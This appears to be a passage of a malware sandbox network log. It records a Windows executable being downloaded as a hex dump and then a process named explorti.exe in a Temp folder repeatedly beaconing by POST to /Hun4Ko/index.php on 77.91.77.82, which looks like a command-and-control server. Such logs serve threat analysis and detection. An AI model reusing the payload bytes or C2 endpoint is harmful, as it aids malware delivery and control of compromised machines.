Jun 30, 2024 10:23:14.093214989 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:13 GMT Content-Type: application/octet-stream Content-Length: 2550784 Last-Modified: Sun, 30 Jun 2024 04:30:23 GMT Connection: keep-alive ETag: "6680df5f-26ec00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 89 fa 75 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 f0 c1 bf 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 bf 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$JdZaaa5ZaaRichPELuf!@@ P]P@@@0!@@Pp# @`y#(@.data" "4@
Jun 30, 2024 10:23:14.093242884 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e5 34 6c 99 17 87 4d 4b 98 cb 20 ed 92 a6 7f af 29 2b 5e 80 84 e3 11 52 f2 Data Ascii: 4lMK )+^RryAer*;17kJqo[sC8RD)S).@}Z]Q+x/R)2mR_r;:bB1V)9>s9Z
Jun 30, 2024 10:23:14.093256950 CEST	448	IN	Data Raw: 1b ed 59 fc 66 88 40 90 d6 f9 82 16 70 e9 73 a5 a6 18 ae 36 73 b7 e9 5e e9 20 d7 7a 46 ee 78 c8 0b 6f 9d 8c 30 fb c6 d7 32 a5 4a 67 ea e5 88 0c 9e 86 5d 1e c8 c1 df 24 4d bb 37 40 e6 69 f0 12 ae 4c 51 33 ac ae e7 d0 fc 9a 4b 0e 2e 35 7f 65 41 57 Data Ascii: Yf@ps6s^ zFxo02Jg]$M7@iLQ3K.5eAW\|uF,2vUTK$-m-< 8*L};h>G@0,zqb{.'u00T`'s~ZSz+sT?%~E
Jun 30, 2024 10:23:14.093277931 CEST	1236	IN	Data Raw: 46 f5 33 ae 05 d2 e3 af 62 a9 42 73 3b f6 19 7d 0d 41 5d f6 7d 05 aa e8 72 97 6c 70 6c 79 e9 63 6b 5a 69 af 6d b8 7b ce 41 cb 7d ae ea 02 e2 ec 55 43 1c 2c 22 bf 56 bb e1 19 44 52 e7 50 15 50 41 8f be 14 2e 5d 44 49 36 2b f3 1d 96 ff a2 cb 19 80 Data Ascii: F3bBs;}A]}rlplyckZim{A}UC,"VDRPPA.]DI6+lw~&L[o`s.gyeVu-`$CWif@n/?x@*6o+:>9Hys3@4$zRL>0?.Ntv:v<oC`Z2G
Jun 30, 2024 10:23:14.093393087 CEST	1236	IN	Data Raw: 82 a0 a9 25 ca 3e 9c b1 0f 05 03 2b 2d 88 19 12 30 9b e2 18 9d 59 e8 54 bf 2e 15 76 ca f0 b9 63 e3 af 21 86 7e 37 fa ee 1c e4 84 21 94 87 09 f8 13 fe 4f 3c 3f 2e 71 83 75 ef 83 03 eb 18 69 38 1b a0 8b bc 2f f4 9d 42 ba e2 72 a5 63 50 da 73 30 6c Data Ascii: %>+-0YT.vc!~7!O<?.qui8/BrcPs0l\N01YnaFI`hO#/u[!"fPQZ{Wn!wwm0G+*$7chPY10n_}ARa)C}q>;~Wk6
Jun 30, 2024 10:23:14.093405008 CEST	1236	IN	Data Raw: a8 7f 32 81 db 5b d2 37 dc 18 be e3 13 4c 2e 65 72 ac 7b 05 2e ed 80 bf cd b1 45 be 10 6a 5b cf 80 71 26 ca de 79 d4 dd 5a 69 d2 0c 02 1a ae e2 51 68 89 12 2a 15 f1 e9 df 90 78 28 c6 f7 17 9a 5e ca 36 39 64 4c 2b 74 3b 10 2a 89 03 04 d9 69 59 8a Data Ascii: 2[7L.er{.Ej[q&yZiQhx(^69dL+t;iY%Y9A9JRqzR1t45}!'y@$sd"jgp;#%R^Ui&"+qN_{XRem[4/gPpJUFM:L\|1Hv1RhP
Jun 30, 2024 10:23:14.093416929 CEST	1236	IN	Data Raw: 41 b5 00 2f 92 a1 e3 00 d4 3a e6 04 ac d2 fb 13 35 b4 1c b7 53 4a 79 08 0d 6b df fb db 34 f5 f0 58 c8 98 4b cc 96 ca 22 94 dc c0 6e 40 34 05 3e cc bb 24 4f 76 1c 1a e3 e9 73 ac 5e f5 0f db 30 8c e0 22 b7 59 89 8d a7 cc 4f b6 a3 bf 98 40 d3 ae 9c Data Ascii: A/:5SJyk4XK"n@4>$Ovs^0"YO@3X%Ox`gFI*J=p,nuG\|N:^Vr>c![xd<ALhAdtwmGtaui\>ca_~J'+Y}Gq'h0
Jun 30, 2024 10:23:14.093429089 CEST	1236	IN	Data Raw: 31 d0 b3 85 c0 61 8a 5d 68 bf 0d 65 fb 70 2d 86 4d 27 f1 03 96 8a 77 4f e1 d7 7c cf d8 8b 34 95 7c 83 da 02 b6 d5 bd 43 05 89 c6 ec e5 69 3e 5e 4e a4 ab a0 36 ec 59 91 2b 66 7b 3c ab 41 81 1c 0d 65 03 4b 64 70 2f 2b da 37 33 40 c0 eb 76 14 df 2a Data Ascii: 1a]hep-M'wO\|4\|Ci>^N6Y+f{<AeKdp/+73@vffQiGKnpt]~@m,,X/[P(/5yy5Y_69BP#'c)B5(HXC%Z3ENuW#n>#E
Jun 30, 2024 10:23:14.093626976 CEST	1236	IN	Data Raw: 8e df 37 cf ec 5d ef 5d 2d e7 cd bf 8e 3f 93 8a 56 79 33 bf 27 c4 e7 3e 9c b6 4b bb 49 c3 df bb 01 27 d8 5d 59 86 20 41 01 99 19 da df f9 5b 9b ea 6b d7 ab 42 a1 e5 e2 5e e1 cd 74 8c a9 ea 51 e1 3a 30 d2 74 c5 dd 77 c3 16 7f dd 58 81 8d e9 af 68 Data Ascii: 7]]-?Vy3'>KI']Y A[kB^tQ:0twXh?;;-;Lyhvu:.u9H*4L$M3/#A/8~z7MQMl7vK{]8.Sl#H0%f)y'Axe4)x~3D\+@vF_%CJ;QouA
Jun 30, 2024 10:23:14.093640089 CEST	1236	IN	Data Raw: 51 04 f4 ec 92 f2 92 bc 11 9f 82 92 03 4d 8c 9f 7a a7 af 62 57 ef 6a 68 06 5e 2e aa 34 3d 7c 75 29 33 ac a4 d7 ca 94 45 23 68 fd 79 e5 6f 1e c0 df 29 6f c4 05 dc ad 42 ea d3 57 af e1 34 ee dc 43 7f 82 3e ed f6 da d6 f6 60 1f c2 dc eb b2 51 82 4d Data Ascii: QMzbWjh^.4=\|u)3E#hyo)oBW4C>`QMYJO?C<kv~uU@~+R&L5!j9U--#[#.-mR]Q!jCQNLp3VC1AWRb\|g!mAZ`*[@:/xnjcX
Jun 30, 2024 10:23:14.098531008 CEST	1236	IN	Data Raw: b0 bb f4 61 6a 91 8d ca 22 9f ad d9 3f 8c 3d 20 9d b2 8f bc 19 08 e6 7d 4e 84 ee f1 eb 88 db f9 9f 28 58 9c 1f ab f4 1c 5a 2f bd 6e f7 bc 45 a6 5e 07 92 b0 84 44 e3 b5 8a 6e 0c 05 83 26 75 19 d7 84 0a 29 e3 e2 7b ef 56 52 98 11 81 f5 70 51 0b 91 Data Ascii: aj"?= }N(XZ/nE^Dn&u){VRpQIRIdQh}Q7Hy=C#f]5@7]=pBmJABv(=#$=Bf;N&JT#tj<uun<YZol'6yWDc\|;re`_U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	57434	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:21.253593922 CEST	179	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 30 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000006001&unit=246122658369
Jun 30, 2024 10:23:21.951401949 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	57435	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:22.062813044 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:22.779875994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 30, 2024 10:23:22.780730009 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:23.000463963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	57436	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:23.109524012 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:23.833477974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 30, 2024 10:23:23.834356070 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:24.062447071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	57437	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:24.172306061 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:24.860671043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 30, 2024 10:23:24.863456011 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:25.086308002 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	57438	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:25.203577995 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:25.917593956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	57439	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:25.927324057 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:26.667016029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	57440	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:26.787848949 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:27.494296074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	57441	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:27.503439903 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:28.217924118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	57442	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:28.330522060 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:29.018963099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	57443	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:29.027566910 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:29.737065077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	57444	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:29.858998060 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:30.553530931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	57445	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:30.564546108 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:31.277384043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	57446	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:31.397866964 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 30, 2024 10:23:32.095114946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	57447	77.91.77.82	80	7628	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 30, 2024 10:23:32.104121923 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jun 30, 2024 10:23:32.798343897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 30 Jun 2024 08:23:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
